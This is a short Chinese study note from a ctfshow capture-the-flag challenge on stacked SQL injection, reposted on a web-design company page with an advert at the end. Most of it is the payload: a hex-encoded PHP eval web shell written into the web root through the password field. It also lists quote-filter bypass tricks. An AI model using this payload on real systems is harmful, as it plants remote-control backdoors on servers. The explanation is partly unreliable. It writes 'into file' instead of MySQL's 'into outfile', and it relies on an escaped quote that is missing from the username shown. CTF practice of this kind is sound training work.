乐山市网站建设_网站建设公司_网站建设_seo优化
2026/1/16 20:51:07 网站建设 项目流程

ctfshow-堆叠注入写Shell

看答案做了一下笔记

select * from account where username='' and password=''
单引号被禁用
username=
password=; select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into file "/var/www/html/shell.php";#

就变成了
select * from account where username='' and password='; select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into file "/var/www/html/shell.php";#'

MYSQL是这样进行理解的:
遇到了第一个', 开始找配对的另一个'
看到了', 被转义了, 不是MySQL所要的, 继续想后寻找
找到了, username='' and password='
这个时候,password的值就逃逸出来了:
; select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into file "/var/www/html/shell.php";#'
成功的执行了写入shell的操作

单引号绕过的两种手法:

  1. \转义
  2. 进制绕过

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询